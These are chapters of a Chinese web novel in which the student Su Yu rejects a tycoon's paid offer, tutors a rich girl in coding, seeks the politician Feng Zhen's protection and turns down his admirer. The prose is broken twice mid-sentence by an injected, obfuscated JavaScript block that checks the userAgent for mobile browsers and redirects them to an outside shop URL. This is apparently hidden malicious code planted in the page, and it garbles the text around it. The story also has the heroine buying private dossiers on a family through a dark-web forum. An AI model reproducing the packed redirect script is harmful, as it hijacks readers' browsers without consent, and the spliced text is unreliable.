“做我的顾问。”他说,“不需要你伤害容若雪,只需要你……偶尔给我一些,关于他的建议。” 苏玉皱眉:“为什么?” “因为我发现,”容卿沉转身看向窗外,“我好像从来不了解我这个弟弟。” 他侧过脸:“而你,似乎能了解他。至少不把他当做宠物,还是一个人,来理解?” 苏玉沉默了。 这时,侍者端着两杯冰水过来,看见这架势,有点不知所措。 苏玉接过一杯,喝了一大口。 冰凉的水滑过喉咙,让她冷静下来。 “容先生,”她说,“我只是个普通学生。” “普通学生不会让容若雪退婚,不会让论坛为了你炸锅,不会传出跟哪些人的事。更不会……”容卿沉顿了顿,“让我有兴趣坐在这里,跟你聊这么久。” 苏玉握着水杯,指尖冰凉。 “我可以付你时薪,”容卿沉说,“一次见面,五万盟币。只是聊聊天,不做别的。” 她看着容卿沉,对方眼神平静,没有威胁,没有施舍,就像在谈一桩普通的生意。 “我需要考虑。”苏玉说。 “可以。”容卿沉递过来一张名片,“想好了,打这个电话。” 苏玉接过名片,纯黑色,只有一串数字。 “另外,”容卿沉补充,“论坛的事,需要我处理吗?” “不用。”苏玉说,“我自己能处理。” “你确定?” “确定。” 容卿沉点点头,没再说什么。 苏玉转身离开。 走出云顶餐厅,阳光刺眼。她站在路边,看着手里那张纯黑色的名片,然后把它撕成两半,扔进了垃圾桶。 司机把车开过来:“苏小姐,回去吗?” “嗯。”苏玉上车,关上门,“去一趟数码城。” “数码城?” “嗯,”苏玉系好安全带,“买点东西。” 她需要一台新的笔记本电脑——柳如如要学编程,她得备课。 顺便,她得查点东西。 关于容卿沉,关于容家,关于…… 车子汇入车流。 而云顶餐厅里,容卿沉站在落地窗前,看着那辆远去的车。 他拿起手机,拨了个号码。 “查一下苏玉,”他说,“从出生到现在,所有能查到的信息。” 电话那头应了一声。 容卿沉挂了电话,端起那杯冰水,一饮而尽。 水很冰,但他觉得心里更冷。 刚才苏玉撕名片的那一幕,他看见了。 那个女孩,比他想象中更难以捉摸。 4. 他是龙傲天之傲天、天龙人之龙人啊 数码城里冷气开得足,苏玉穿着那身白衬衫黑裙子,在一排排闪着光的电子设备间穿行,像个走错片场的高中生。 她目标明确,直奔二手区。 “老板,最便宜的笔记本有没有?” 老板是个秃顶大叔,从一堆配件里抬起头,推了推眼镜:“小姑娘要学编程?” “嗯。” “这个,”大叔从柜台底下掏出一台灰扑扑的旧款,“三年前的老型号,电池不太行了,但处理器还能用。八百盟币,不还价。” 苏玉接过,开机试了试。风扇声音像拖拉机,但确实能运行编程环境。 “五百。” “小姑娘,这价砍得太狠了……” “五百,外加帮我把系统重装了。”苏玉从钱包里数出五张纸币,“再加个散热架。” 大叔看着她手里的钱,又看看她那张过分年轻的脸,叹了口气:“行吧,就当交个朋友。” 半小时后,苏玉抱着那台老古董笔记本和一杯新买的奶茶走出数码城。 奶茶是可可芭蕾加双份奶盖,她咬着吸管,边走边刷手机。 论坛又出新帖了。 这次是关于她上午那通电话的“爆料”。 【实时播报】玉嫔今天接了容二少电话,神色冷淡,疑似情变! 下面附了一段音频——明显是偷录的,杂音很大,但能听出是容若雪和苏玉的声音: “我……我看到论坛了。你没事吧?” “我很好,谢谢关心。” “可是你半夜离校……” “暑期兼职,给一个朋友的孩子做家教。” “是因为我吗?” “不是。和你没关系。” 音频到这里戛然而止,下面的回复已经炸了: “卧槽这冷漠的语气,不愧是仙嫔,一点都不食人间烟火!你玉真好狠的心啊!” “容二少声音都快哭了,我听着都心疼。” “玉嫔是真对容二没意思?” “楼上天真了,这叫以退为进,高级钓法懂不懂。” 不过也有正义人士站在苏玉这边。 “偷录别人电话还发出来,犯法了姐妹。另外,容二少哭没哭我不知道,但你肯定没男朋友——毕竟正经人不会干这种缺德事。” 回复秒被赞到前排。 下面立刻有人怼:“你谁啊?玉娘娘的洗脚婢?” “楼上小心,爱玉护玉的一大波不明生物正在路上赶来!” 原来在论坛上也有一群维护自己的人?可是她接触的人也不多啊。 而且暑期结束后,就要开启大二生活了,联盟学府规定,大二开学第一件事就是“异能鉴定”。 但是她…… 苏玉猛吸可可芭蕾上的双层奶盖,别想那么多,今朝有酒今朝醉。她抱着笔记本回到了车上。 车子开回云栖别墅时,已经下午三点多。柳眉不在家,佣人说她和小姐去上马术课了,要五点多才回来。 苏玉抱着笔记本回到房间,插上电源,开机。 老古董嗡嗡作响,但好歹是启动了。她连上别墅的Wi-Fi,打开浏览器,输入了一串复杂的网址。 页面跳转,是一个纯黑色的登录界面。 苏玉输入用户名和密码——用户名是“Jade”,密码是一串十六位的乱码。 登录成功。 界面简洁得像上世纪的老式论坛,只有几个板块:【情报交换】【悬赏任务】【技术支援】。 这是“暗网”的一个角落,专门为需要隐藏身份的人提供服务。苏玉三年前无意中发现的这个网站,用帮人写代码赚来的钱买了个会员资格。 她点进【情报交换】,发了个帖子: “求:炎之国容家(容氏集团)近五年所有公开及非公开的商业动向、家族成员关系图、潜在敌人。酬金:5000盟币。” 发完,她切回普通网页,开始查柳眉。 柳眉,白兰都富商,雪国出身,十年前险些破产,后神秘翻身。公开资料很少,只有一些慈善活动的报道和商业杂志的采访。 苏玉翻了半天,没找到什么有用的信息。 她又试着搜“雪国长公主”——这次跳出来的信息就多了。长公主伊莎,现年四十七岁,由于她的双胞胎哥哥雪国国王多年未公开露面、常年卧病休养,所以长公主是雪国的实际掌权者,铁腕政治,作风强势。 雪国长公主近几年频繁插手九国联盟事务,试图在联盟中扩大雪国影响力,提高雪国的地位。 苏玉盯着那些新闻照片里穿着雪国军装、眼神锐利的女人,手指无意识地蜷缩起来。 这时,暗网那边有了回复。 一个ID叫“影子”的人私信她:“容家的情报我有。但5000太少,一万。” 苏玉皱眉:“先给部分样本。” 对方发来一个加密文件,附带密码:“这是容家近三年的商业版图扩张情况。” 苏玉下载,解密。文件很详细,连容家某些灰色地带的生意都标注出来了。 她想了想,回复:“八千。一次性付清。” “成交。” 苏玉通过暗网的加密支付渠道转了八千盟币过去。几分钟后,一个更大的压缩包发了过来。 她解压,里面包含了容家所有核心成员的资料、商业网络、政商关系,甚至还有容卿沉的个人行程习惯分析。 苏玉一页页翻看。 容卿沉,二十八岁,容氏集团实际控制人。父母早逝,十八岁接手濒临破产的家族企业,十年间将其发展为炎之国前十的财团。手段凌厉,作风低调,几乎没有花边新闻。 唯一引人注目的是,他有个同父异母的弟弟——容若雪。 资料里提到,容卿沉对容若雪的保护近乎偏执。从小到大,容若雪身边的所有人都会经过严格筛查,所有可能伤害到他的人或事,都会被提前清除。 苏玉看到这里,忽然明白了什么。 容卿沉今天找她,也许真的不是想“教育”弟弟。 而是想确认,她是不是那个需要被“清除”的隐患。 她关掉文档,揉了揉太阳穴。 笔记本风扇还在嗡嗡响,房间里很安静。窗外是别墅区的园林景观,喷泉水声隐约传来。 苏玉发了会儿呆,然后打开编程环境,开始写代码。 她得给柳如如准备入门教程。 写着写着,智机芯片又震了。 这次是容若雪发来的短信:“苏玉,大哥没有为难你吧?” 苏玉看了眼,没回。 过了几秒,容二又发来一条:“对不起,我不知道他会找你。如果你生气,可以骂我。” 苏玉叹了口气,打字:“没生气。你好好过暑假。” “那你呢?你在哪?我想见你。” “我在工作。” “我可以去找你吗?我保证不打扰你,就看你一眼……” 苏玉直接切换了免打扰模式。 世界清净了。 她继续写代码,直到下午五点多,楼下传来汽车引擎声。苏玉走到窗边,看见柳眉和一个小女孩从车上下来。 柳如如今年十四岁,个子不高,穿着马术服,头发扎成利落的马尾。她低着头跟在母亲柳眉身后,十分乖巧。 苏玉下楼迎接他们。 柳眉看见她,笑着招手。 柳如如抬起头,看了苏玉一眼,又迅速低下头:“苏姐姐好。” 声音很小。 “你好。”苏玉弯下腰,和她平视,“我听说你在学编程?” 柳如如眼睛亮了一下,点点头。 “那太好了,”苏玉笑着说,“我也在学。以后我们可以一起写代码。” 柳如如眨了眨眼。 柳眉在旁边看着,眼神温柔:“那你们先聊,我去换衣服。小玉,晚饭六点半,在餐厅。” “好。” 柳眉上楼了,客厅里只剩下苏玉和柳如如。 苏玉在沙发上坐下,拍了拍身边的位置:“坐。” 柳如如犹豫了一下,坐下,但离她有点远。 苏玉也不介意,打开那台老古董笔记本:“我下午刚买了电脑,正在写一个入门教程。你想从什么开始学?” 柳如如小声说:“我想做一个游戏。” “什么游戏?” “一个……养猫的游戏。”柳如如声音更小了,“可以给猫取名、喂食、陪它玩的那种。” 苏玉笑了:“很棒的想法。那我们可以先从简单的图形界面开始。” 她打开编程软件,开始演示。柳如如一开始还拘谨,但看着屏幕上跳出来的代码逐渐变成一个个图形,眼睛越来越亮。 “这里,”苏玉指着一段代码,“是控制小猫移动的。如果你想让它走快点,可以改这个参数。” “我可以试试吗?”柳如如问。 “当然。” 柳如如接过键盘,小心地修改了一个数字。屏幕上的小猫果然移动得更快了。 她笑了起来。 那是苏玉今天第一次看见她笑。 “你很聪明,”苏玉说,“学得很快。” 柳如如脸红了,低下头:“谢谢姐姐。” 两人又写了一会儿代码,直到佣人来叫吃饭。 晚饭很丰盛,柳眉一直在给苏玉夹菜,问她合不合口味。柳如如安静地吃饭,偶尔抬头看苏玉一眼。 吃完饭,柳眉说:“如如,带苏姐姐去花园走走?” 柳如如点点头,看向苏玉。 苏玉起身:“好。” 别墅的花园很大,有喷泉、玫瑰园,还有一个小小的玻璃花房。傍晚时分,夕阳把一切都染成金色。 柳如如走在前面,苏玉跟在后面。 “苏姐姐,”柳如如忽然开口,“你真的是从炎之国的小镇来的吗?” “嗯。” “那里……是什么样的?” 苏玉想了想:“很小,很旧。街道窄窄的,房子矮矮的。但天空很蓝,晚上的星星很多。” “听起来很好。”柳如如小声说,“不像这里,到处都是高楼,看不见星星。” 苏玉看着她:“你不喜欢白兰都?” “不喜欢。”柳如如踢了一脚地上的小石子,“这里的人都很假。他们对我好,是因为我妈妈有钱。” 苏玉没说话。 “但是苏姐姐不一样。”柳如如抬起头,眼睛很亮,“你看我的时候,没有那种……算计的眼神。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026959|194468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏玉笑了:“因为我没钱,所以不用算计。” 柳如如也笑了:“才不是。你就是不一样。” 两人走到玻璃花房前,柳如如推开门:“这里面有妈妈养的兰花,很香。” 花房里确实摆满了各种兰花,空气里弥漫着清雅的香气。苏玉走进去,忽然在角落看见一架白色的钢琴。 和楼上她房间里那架很像。 “妈妈有时候会在这里弹琴。”柳如如说,“她说,花和音乐在一起,会很治愈。” 苏玉走到钢琴前,掀开琴盖。 手指落在琴键上,弹了一小段《春江花月夜》的旋律。 柳如如睁大眼睛:“好好听!这是什么曲子?” “一首很老的曲子。”苏玉说,“用琵琶弹更好听。” “你会弹琵琶?” “会一点。” 柳如如看着她,忽然问:“苏姐姐,你为什么要来当家教?你很缺钱吗?” 苏玉手指停在琴键上。 “嗯,”她说,“很缺。” “可是你成绩那么好,可以拿奖学金啊。” “奖学金不够。”苏玉笑了笑,“我想存钱,做点别的事。” “什么事?” 苏玉沉默了。 她想做什么? 她想查清十年前的真相,想找到杀害父母的凶手,想拿回属于自己…… 但这些,她都不能说。 “我想,”她最终说,“让自己变得更强大。强大到……不再需要依赖任何人。” 柳如如似懂非懂地点点头。 这时,苏玉的智机震了——是她设的闹钟,提醒她联盟学府的“晚间八卦高峰期”要到了。 “该回去了,”苏玉合上琴盖,“明天我们继续写代码?” “好!” 两人走出花房,天色已经暗下来了。别墅的灯一盏盏亮起,像散落的星星。 回到房间,苏玉打开智机APP。 果然,论坛又出新活了。 这次是个投票帖:【玉嫔最终会选谁?】 选项:1.容二少(纯情富二代)2.封闭针(丧偶鳏夫)3.超雄(超雄古典靓仔)4.Y(选择他,将与封闭针成为弟媳和姐夫的妯娌关系)5.L(需要玉悉心娇养的L家兰花草)6.谁也不选,独自美丽 苏玉用小号投了“谁也不选,独自美丽”。 然后她切回大号,发了条动态——这是她注册半年来的第一条动态。 没有文字,只有一张照片。 照片是从她房间的落地窗拍的,窗外是别墅区的夜景,灯火阑珊。玻璃上映出一点她的侧影,很模糊,但依稀可以看出是个美人的形态。 配文: “暑期工第一天。学生很可爱,晚饭很好吃,月亮很圆。” 三秒后,第一条评论出现: 容若雪:“你在哪?月亮好看吗?” 苏玉没回。 又过了几秒,评论开始暴涨: “卧槽,玉发动态了!” “这背景……果然是云栖别墅区吧!我之前猜对了!” “侧影好美,我死了” “只有我注意到她文案里根本没提容二吗?姐妹独美!” 苏玉刷了会儿评论,然后关掉手机,走到窗边。 月亮确实很圆,挂在天上,像一盏温柔的灯。 她想起很多年前的某个夜晚,父母还在的时候,他们也会在院子里看月亮。养母会弹琵琶,养父会泡茶,她会坐在中间,听着古老的曲子,觉得日子可以一直这样过下去。 但后来,一切都碎了。 苏玉闭上眼睛,深吸一口气。 再睁开时,眼神已经恢复平静。 她走回书桌前,打开那台老古董笔记本,继续写代码。 屏幕的光映在她脸上,明明灭灭。 夜深了。 而此刻,九国联盟军校的某间办公室里,封甄也看见了苏玉发的那条动态。 他盯着那张照片看了很久,然后放大,再放大。 玻璃上映出的侧影很模糊,但他还是认出来了——那是苏玉。 和论坛里那些模糊的偷拍照不同,和入学档案上拘谨的微笑形象也不同。 姿态很放松,也很真实。 封甄看了很久,然后关掉页面。 他拿起桌上的止痛喷雾,对着后腰喷了两下。 冰凉的药剂渗入皮肤,缓解了久坐带来的酸痛。 他想起论坛里那个评论:“他站起来的瞬间,我亲眼看到他后腰别着的止痛喷雾掉地上了——所以有没有可能,人家只是坐太久腰椎间盘突出,站起来活动一下?” 那天坐在最前排出席夏青晚会的他,忽然起身为她鼓掌,她似乎没有被惊到。 她知道他的腰部有旧疾? 封甄想到那天抱着琵琶的优雅少女,她黑水晶般的双眸,视线落在忽然起身鼓掌的自己身上,她波澜不兴的移开视线。 似乎并不以为意。 没有受宠若惊的喜悦,甚至没有一丝惊讶。 在那双漂浮着星辰碎光般的黑水晶般的双眸之中,他与别人,似乎没有任何不同。 并不足以引起那个少女的注视。 5. 偶遇?太天真了!天龙人故意设计! 苏玉的暑期家教生活正式开始了。 每天早上八点,她和柳如如一起在餐厅吃早饭。柳如如喜欢吃煎蛋和吐司,苏玉则雷打不动地泡燕麦粥——柳眉劝了几次让她吃点好的,苏玉总是笑着说“习惯了”。 九点到十一点是数学课。柳如如的数学其实不差,只是缺乏兴趣。苏玉就从游戏编程里提取数学问题:小猫要跳多高才能吃到空中的鱼?小猫跳高的抛物线方程怎么写?速度和时间的关系怎么计算? 柳如如学得津津有味。 下午是编程课,两人一起写那个养猫游戏。苏玉教她画界面、写逻辑、调试bug。 柳如如上手很快,第三天就已经能独立写出一个简单的喂食程序了。 “苏姐姐,”柳如如敲完一段代码,忽然问,“你以后想做什么工作?” 苏玉想了想:“还没想好。可能继续读书,也可能找工作。” “你可以来我妈妈公司呀,”柳如如认真地说,“妈妈说你很聪明,她很喜欢你。” 苏玉笑了:“谢谢。不过我还想多学点东西。” “哦。”柳如如点点头,忽然压低声音,“苏姐姐,你知道吗,妈妈昨天在书房和人打电话,我听见她提到你了。” 苏玉手指一顿:“提到我什么?” “那个跟妈妈打电话的人态度很凶的说……”柳如如回忆着,“那个女孩不简单,你仔细点。然后对方好像还说了什么‘雪国’之类的词。” 苏玉心跳漏了一拍,但脸上不动声色,继续教如如课业。 柳如如也没在意,继续写代码去了。 苏玉却没办法平静了。 有人在通过柳眉查她。 而且,查的方向很明确——雪国。 而柳眉,也是雪国出生,虽然从如如所复述的对话来看,柳眉是向着自己、保护自己的。但是不知道对方是什么人,除了通过柳眉外,有没有通过别人在同时查她? 苏玉想,自己必须更小心。甚至有必要……获得更多帮助 最好是能够找到强大、有力的靠山。 虽然有想要抱大腿、出卖尊严嫌疑,但是活着苟下去,才能选择尊严,不是吗? 苏玉进行了自我建设。但是容家毕竟是商界出生,在政治影响力上,远不如老华族,更比不上封、玄…… 下午的课结束后,柳如如去上钢琴课,苏玉难得有了点自由时间。 她换了身运动服,决定去别墅区的健身房看看——柳眉说过,住户可以免费使用。 更重要的是,封闭针、超雄这些龙傲天们,似乎在这边都置有房产。 虽然他们不一定会来这,但是万一呢? 只有走出去,才可能相遇,只有相遇,才可能把红酒泼他们身上。 才有可能让他们注意到她“女人,你引起了我的注意!我不允许任何人伤害你!只有我可以伤害你!” 虽然封闭针长得冰山雪莲一样、超雄长得东方水墨画一样,但人不可貌相,说不定他们也会上演这么恶俗的桥段呢! 苏玉为自己打气,自信的女孩子最有魅力! 健身房在二楼,面积很大,设备崭新。下午四点,人不多,只有几个穿着瑜伽服的贵妇在跑步机上慢走,还有一个私教在指导客户。 苏玉选了台靠窗的跑步机,设了慢速,开始散步。 她其实不爱运动,但长期伏案学习让她的颈椎和腰椎都不太好,必须定期活动。跑了十分钟,她开始出汗,就把速度调慢,改成快走。 正走着,她看到楼下出现了个熟悉的身影。 苏玉下意识瞥了一眼,愣住了。 是封甄。 他穿着藏青色的行政夹克,双手插在西裤的兜里,正慢悠悠从楼下的花园经过。 就在这时,他似乎感受到了来自二楼的视线。他抬眸,正好与苏玉的目光相撞,他脚步顿了一下。 两人对视了三秒。 然后封甄点了点头,算是打招呼。 苏玉:“……” 甄,你就这么猝不及防的出现了吗?虽然我是打算在这个汇集了龙傲天的别墅区碰碰运气,但没想到真的能够遇见您啊! 机不可失时不再来。这可是联盟第一强国炎之国的至高十一人之一,此刻不抱大腿更待何时? 何况,甄对她点头了,说明他对她有印象,应该是夏青晚会上的春江花月夜的余韵吧? 她收回视线,立刻关闭跑步机,扫视一下自己穿着,简单的粉色运动套装,符合她十八岁美少女的形象。 苏玉走下跑步机,却看见封甄竟然已经来到二楼,向自己走来。 他穿着行政夹克套装,显然没有健身打算,为何来这? 苏玉有些惊讶,这时她看见封甄打开自己身旁储物柜的一个格子,拿出一个东西——是一个小小的蓝色喷雾瓶,上面没有标签。 止痛喷雾。 和论坛里那个小号描述的一模一样。 封甄的腰的确不好啊…… 论坛里面那些八卦忽然浮现在苏玉脑中:封闭针二十岁和Y族大小姐订婚,未婚妻噶了后,都快十年了,封闭针都不近女色,要么是他能忍,要么就是他不行?还有一种可能就是,封闭针和超雄之间是不是真的? 封甄似乎没注意到她有些怪异的视线,他把喷雾瓶拿在手上,随后走到墙边,靠着墙缓缓坐下,手按在后腰上。 的确是腰很不好啊?苏玉又怪异的想到一些论坛发言。 但此刻,炎之国最高决策圈之一的人就在面前,不是发呆的时候! 苏玉犹豫了一下,走了过去。 “请问,您需要帮忙吗?”她问封甄。 封甄抬头看她,眼神里有一瞬间的惊讶,然后恢复平静:“不用,谢谢。” “您是有腰伤?”苏玉指了指他手中的喷雾,“是止痛的吧?” 封甄没说话。 苏玉在他旁边坐下,隔着一米远的距离:“我也有腰伤。以前学习太拼,坐太久落下的。” 封甄看了她一眼:“你看起来年纪不大。” 苏玉说:“但腰龄可能二十八。” 封甄嘴角很轻地弯了一下。 “你住这里?”封甄又问,然后似乎慢慢回忆她的名字,“苏玉?” “嗯,暑期兼职,给一个朋友的孩子当家教。”苏玉说,“您也住云栖这边?” “临时住所,”封甄说。 “哦。”苏玉想不出话题了,毕竟封甄的确是一朵冰山雪莲,还有着微妙的鳏夫感,让人不忍亵渎。 两人陷入沉默。 健身房里放着舒缓的轻音乐,窗外是下午的阳光。 几个贵妇已经走了,私教也带着客户去了另一区,整个器械区只剩下他们俩。 苏玉忽然觉得这场景有点荒诞。 她从小只在炎之国新闻中见到的人,炎之国最年轻的政治家,论坛里被嗑生嗑死的“封闭针”,居然和她同处于一个空间。 如此真实,也如此荒诞。 “那个,”封甄开口,“论坛的事……” “嗯,我知道有个关于我的热帖。但是里面的内容,让我感觉和我毫无关联。”苏玉说。 见封甄没有说话,苏玉自嘲的笑了笑,“毕竟,像我这样的人,很容易变成靶子。” “你这样的人?”封甄重复。 “寒门出身,又出了几次风头的女生,”苏玉说,“显得格格不入,像个显眼包,不是吗?” 封甄没说话,但苏玉能感觉到他在认真听。 “所以,”她继续说,“论坛说什么,其实无所谓。只要不影响我顺利毕业,就行。” 甄,你看,我就是这么率真、看重实质性利益、毫不做作的女孩子,面对流言蜚语,我虽受其扰但很有勇气。有没有被我吸引到?甄,你要不要投资我一下? “那容若雪呢?”封甄忽然问。 苏玉愣了一下。 “他为了你退婚。”封甄说,“你在意吗?” 苏玉想了想:“在意,也不在意。” “怎么说?” “在意是因为,他的行为确实给我带来了麻烦。”苏玉说,“不在意是因为……我知道他不是坏人,也不想影响我,他只是太年轻,无意间做出了影响我的行为。” 封甄沉默了。他靠墙坐着,手还按在腰上。苏玉看见他额头上渗出汗珠,意识到他的腰伤应该很疼。 “要我帮你叫医生吗?”她问。 “不用,”封甄说,“老毛病,休息一下就好。” “你的伤一直没好?” “算是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026960|194468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”封缄顿了顿,“还有……新伤。” 苏玉没再问。 她知道分寸。 两人又坐了一会儿,封甄似乎缓过来了,撑着墙站起来。苏玉也站起来,准备离开。 “苏玉。”封甄叫住她。 她回头。 “那首琵琶曲很好听。”封甄说,“那天晚上,我是真的因为欣赏才鼓掌。如听仙乐耳暂明。” 苏玉笑了:“谢谢。” 她心下不禁为自己点赞,计划通,甄,你果然还是注意到我了! “另外,”封甄转身要走,又停住,“容卿沉如果找你麻烦,可以告诉我。” 苏玉愣住了:“你怎么知道……” “我看见了。”封甄说,“昨天下午,我也在云顶餐厅。我看见了你跟容卿沉,也听到了你们的部分对话。只是,你没注意到我而已。” 苏玉:“……” 不知道甄有没有看见,她一脸不屑的撕掉容卿沉的黑色名片,她的十八岁坚强美少女的人设有没有崩坏? 苏玉不知道该说什么,只能点点头:“谢谢。” “不用谢。”封甄依旧神色淡然,神色缥缈如同雪山上的浮雾,他转身走了。 苏玉看着他离开的背影,心里五味杂陈。 这个封甄,和她想象中不太一样。 她以为他会是那种冷漠疏离的政客。但今天接触下来,发现他……其实挺有礼貌的,就是太仙气了些,也可以说是寡…… 但不管怎样,封甄对她似乎有亲近之意,这就是个好的开始。 苏玉回到别墅,洗了个澡,换了身衣服。晚饭时,柳眉问起她下午去哪了,她说去了健身房。 “遇见熟人了?”柳眉随口问。 “嗯,”苏玉说,“遇见了封秘书长。” 柳眉筷子顿了一下:“封甄?他住云栖?” “他说是临时住所。” 柳眉点点头,没再多问,但苏玉能感觉到她的表情有些微妙。 晚饭后,苏玉回到房间,打开暗网。 那个“影子”又给她发消息了:“追加情报:容卿沉最近在查你。他动用了至少三个情报渠道,包括一个雪国的线人。” 苏玉皱眉:“雪国?” “对。而且查的方向很奇怪——不是查你的现在,而是查你的过去。重点在……你十岁之前的经历。” 苏玉手指一颤。 十岁之前。 “能拦截吗?”她问。 “很难。容家的情报网很深,尤其容卿沉本人,手段很厉害。”影子回复,“不过我可以帮你做点干扰,制造一些假信息。” “多少钱?” “这个免费。”影子说,“就当交个朋友。不过……我有个条件。” “什么?” “以后如果你需要查雪国的情报,优先找我合作。钱给我赚。” 苏玉盯着这行字,很久,才回复:“好。” 关掉暗网,苏玉走到窗边。 夜色深沉,别墅区的路灯一盏盏亮着,像一条蜿蜒的光带。 她想起封甄今天说的话:“容卿沉如果找你麻烦,可以告诉我。” 他为什么要留下与她接触的线头?是因为觉得她可怜所以善心发作,想做好事帮助她?还是因为……别的原因? 苏玉闭上眼睛,深吸一口气。 再睁开时,眼神已经恢复了坚定。 不管多难,她都要走下去。 这时,手腕间的芯片震动了一下,她点开,是一条好友添加提醒。 【封甄发来好友添加请求】 同时还有容二的好几条消息:“苏玉,你明天有空吗?我想见你。” “我不会打扰你工作,就一起吃个饭好不好?” “我保证,就这一次。” 苏玉回复容若雪:“好。明天中午,地点你定。” 该面对的,总要面对。 同时同意了封甄的好友添加请求,点击了通过。 毕竟是这么重要的大人物,添加了好友已经是不容易,可不能随便叨扰他。 果然添加通过后,封甄也没有给她发消息。她也不好主动打招呼。 找下一个契机,逐渐建立联系吧。封甄,的确是一个值得拥有的强大的保护伞。 6. 为了天龙人狠心拒绝小狗龙 容若雪定的餐厅在白兰都的老城区,一家很隐蔽的私房菜馆,门面很小,但里面别有洞天——四合院的结构,天井里种着竹子,流水潺潺。 苏玉到的时候,容若雪早已等在包厢里了。 他今天穿得很简单,白色短袖衬衫,黑色牛仔裤,头发没做造型,刘海放下来,衬得那张娃娃脸更显稚嫩,圆圆的杏眼湿漉漉的含着雾气,这个身高一八五的年轻男大,像是只乖巧无辜的小狗。 看见苏玉进来,就像见到主人回家的小狗,他立刻站起来,眼睛亮了一下。但想到苏玉的冷淡,容二的眼神又迅速黯淡下去。 “阿玉,”他声音有点哑,像是哭过一般,显得有些嘶哑,“你来了。” “嗯。”苏玉在他对面坐下,她知道容二对她挺好的,虽然他前几个月对她的喜欢更像是小孩子幼稚的新鲜感,其中没有多少真正的喜欢。 毕竟,她既没有救过容二的命,也没有给他什么稀缺的情绪价值,两个人相处的时间也不多,只是有点熟的同学而已。 这么浅薄的情感基础,怎么可能生出真正的喜欢呢。 容二的喜欢是真的,但也是浅薄的,他是个天真的被保护的很好的财阀少爷,人不坏,仅此而已。 但苏玉知道,自己没空和少爷玩恋爱游戏,她目前面临的可是生存危机啊。 那句话怎么说来着,饱暖后才能思… 包厢不大,但布置得很雅致。墙上挂着水墨画,桌上摆着青瓷花瓶,里面插着几支新鲜的荷花。 服务员进来倒茶,问要不要点菜。 容若雪把菜单推给苏玉:“你看看想吃什么。” 苏玉没接:“你点吧,我都可以。” 容若雪沉默了一下,点了几个菜,都是清淡口味的。等服务员出去了,包厢里陷入一种尴尬的安静。 “阿玉,我看到论坛上那些帖子,我知道除了我退婚的事之外,那些事情都是胡编乱造!”容若雪开口,又停住,“你这几天,过得好吗?” “挺好的。”苏玉说,“家教工作不累,学生也很聪明。不过,你退婚的事虽然是客观事实,但也与我无瓜啊。” “那就好。”容若雪低下头,盯着茶杯,“我知道那些事都跟你没关系,只是怪我之前高调,让大家注意到你,然后无论你跟谁有交集,大家都八卦你……我很抱歉。论坛的事,还有我大哥找你的事……都是我不好。” 苏玉没说话。怎么说呢,容二也没想到会把她打造成了联盟学府的“新晋流量小花”吧。 “我知道你现在肯定很讨厌我,”容若雪继续说,“觉得我幼稚,冲动,只会给你添麻烦。我……我承认。但我真的没想过会这样。我只是……只是想对你好。” 他抬起头,眼睛红红的:“苏玉,看见你那天在夏青晚会上,为了文学院救场,上场弹琵琶的时候,我就觉得……世上怎么会有这么好看的女孩子。我知道我配不上你,我什么都不懂,只会靠家里。但我可以学,我可以努力变得更好。你能不能……给我一个机会?” 他说得很真诚,甚至有点卑微。 苏玉看着他。大可不必啊!论坛上可是觉得她苏玉能够傍上容二就已经是飞升了! 毕竟是炎之国的大财阀少爷呀。 十八岁的少年,家境优渥,长相清俊,本该是张扬恣意的年纪,却在她面前小心翼翼得像只犯错的小狗。 如果是换个人看见容二这样,大概会心动吧。 但她不会。 “容若雪,”她开口,“你今年十九岁。” “你的人生才刚开始。”苏玉说,“你以后会遇到很多人,很多比我好、比我合适的人。你现在觉得喜欢我,可能只是因为……你之前没见过我这样的人,你觉得新鲜觉得有趣。想想你小时候买玩具,到手之后,你就不会多看一眼了。” “不是的!”容若雪急急地说,“我不是没见过世面,我也不是……” “那你告诉我,”苏玉打断他,“你喜欢我什么?” 容若雪愣住了。 “喜欢我长得好看?”苏玉笑了笑,“演艺圈里面,好看的女孩子很多很多,一个比一个惊为天人。你喜欢我琵琶弹得好,音乐学院的专业生弹演奏级的曲子,可比我厉害得多。喜欢我聪明?炎之国第一名,每年都有。” 她顿了顿:“你喜欢的,可能只是一个执念。一个从底层爬上来、努力又聪明、好看而带着神秘感的幻象。但真实的我,可能完全不是你想的那样。” 容若雪摇头:“不是的,我……” “那真实的我是什么样?”苏玉看着他,“你知道吗?我小时候住的地方,冬天没有暖气,要用热水袋捂着才能睡着,总是被冻出许多冻疮,你们可能根本不知道这世界还有冬天没有暖气的地方吧?毕竟,白兰都连户外都有温控设备,让你们感到舒适。我为了省钱,一天只吃两顿饭,都是最便宜的泡面,在你们这,连宠物狗都不会吃这样充满添加剂的东西,但我觉得美味极了。我为了考第一,每天只睡三个小时,喝劣质咖啡喝到胃出血。” 她的语气很平静,但每个字都像刀子:“容若雪,你见过真正的贫穷生活吗?你知道饿到心脏疼是什么感觉吗?你知道因为交不起学费,仅仅因为贫穷就被老师当众点名被众人嘲笑的羞耻吗?” 容若雪脸色越来越苍白,但并非是羞耻,而是一种似乎想要极力感同身受的心疼。 “你不知道。”苏玉说,“你的世界太干净了。干净到……根本容不下我这样的人。” 包厢里安静得可怕。 只有天井里的流水声,淅淅沥沥。 